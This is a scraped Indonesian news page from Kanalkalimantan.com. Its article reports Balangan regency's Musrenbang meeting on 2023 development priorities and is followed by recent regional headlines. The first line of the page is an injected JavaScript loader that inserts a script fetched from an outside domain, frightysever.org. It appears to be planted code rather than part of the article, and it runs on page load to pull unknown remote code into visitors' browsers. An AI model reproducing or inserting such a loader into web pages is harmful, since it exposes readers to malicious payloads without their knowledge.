(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Balangan

Musrenbang Balangan 2023 Fokus Peningkatan Infrastruktur, SDM, dan Potensi Daerah


KANALKALIMANTAN.COM, PARINGIN – Badan Perencanaan, Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Balangan melakukan Musyawarah Rencana Pembangunan (Musrenbang) tahun 2022 bertempat di Mahligai Mayang Maurai, Paringin, Rabu (30/3/2022). Kegiatan tersebut dalam rangka penyusunan Rencana Kerja Pemerintah Daerah (RKPD) tahun 2023.

Pada Musrenbang tersebut, tergambar jika Pemkab Balangan memfokuskan perencanaan daerah pada tahun 2023 mendatang pada meningkatkan infrastruktur kota, desa, sumber daya manusia dan optimalisasi potensi daerah.

Bupati Balangan Abdul Hadi menyebutkan, rancangan RKPD 2023 harus dapat dipilah program yang menjadi proyek strategis, serta meminta visi misi kepemimpinannya pada tahun 2023 harus dieksekusi dan tuntas.

“Tugas Bappeda, pilah mana-mana proyek strategis, proyek tidak boleh gagal. Dan yang menjadi tulang punggung visi misi Bupati, kawal serta pastikan terlaksana tepat waktu,” tegasnya.

 

 

Baca juga: Berkah Ramadhan, Polres Barsel Bagikan Takjil Selama 30 Hari Kedepan

Khusus kepada jajaran Inspektorat Kabupaten Balangan, Abdul Hadi juga meminta, untuk mempersiapkan SKPD, agar tidak takut dalam melaksanakan proyek-proyek strategis.

“Selain berupaya menuntaskan program pembangunan di daerah, kita juga tetap berkomitmen mendukung program-program Pemerintah Provinsi maupun Pemerintah Pusat,” tambah Abdul Hadi.

Ke depan lanjutnya, pihaknya bekerja sama dengan Bappedalitbang akan memanggil setiap SKPD supaya menjamin pagu indikator ini sudah berjalan dengan semestinya atau belum.

Sementara Kepala Bappedalitbang Kabupaten Balangan Rakhmadi Yusni, mengungkapkan tujuan dari kegiatan ini adalah melakukan mapping pemutakhiran program, kegiatan dan sub kegiatan beserta indikatornya berdasarkan Kepmendagri nomor 050-5889 tahun 2021.

“Tentunya juga melaksanakan verifikasi yang dilaksanakan untuk memastikan kesesuaian rancangan awal Renja perangkat daerah dengan rancangan awal RKPD,” ungkap Rakhmadi. (Kanalkalimantan.com/alf)

Reporter: alf
Editor: cell


Risa

Recent Posts

Banjir Rob Murung Selong Banjarmasin 407 Jiwa Terdampak

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob yang menggenangi kawasan Murung Selong, Kelurahan Sungai Lulut, Kota Banjarmasin,… Read More

9 jam ago

Tanggul Halangi Air Keluar di Komplek PWI, Ketua DPRD Banjarmasin Minta Dibongkar

KANALKALIMANTAN.COM, BANJARMASIN - Ketua DPRD Kota Banjarmasin, Rikval Fachruri meninjau banjir rob di komplek Persatuan… Read More

9 jam ago

Banjir di Gang Serumpun Sungai Lulut Masih Selutut

KANALKALIMANTAN.COM, BANJARMASIN — Banjir rob yang menggenangi Jalan Hikmah Banua, Gang Serumpun RT 27, Kelurahan… Read More

11 jam ago

BLK Kalsel Buka Pendaftaran Pelatihan Kerja Tahun 2026

KANALKALIMANTAN.COM, BANJARBARU - Balai Latihan Kerja (BLK) di bawah Dinas Tenaga Kerja dan Transmigrasi (Disnakertrans)… Read More

15 jam ago

Besok, Presiden RI Resmikan 166 Sekolah Rakyat Terpadu di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru bersiap menyambut kunjungan Presiden Republik Indonesia, Prabowo Subianto berserta… Read More

17 jam ago

Remaja 13 Tahun Terseret Arus di Sungai Martapura

KANALKALIMANTAN.COM, BANJARMASIN — Seorang remaja laki-laki dilaporkan tenggelam di Sungai Martapura, Jalan Rantauan Darat, Kecamatan… Read More

1 hari ago

This website uses cookies.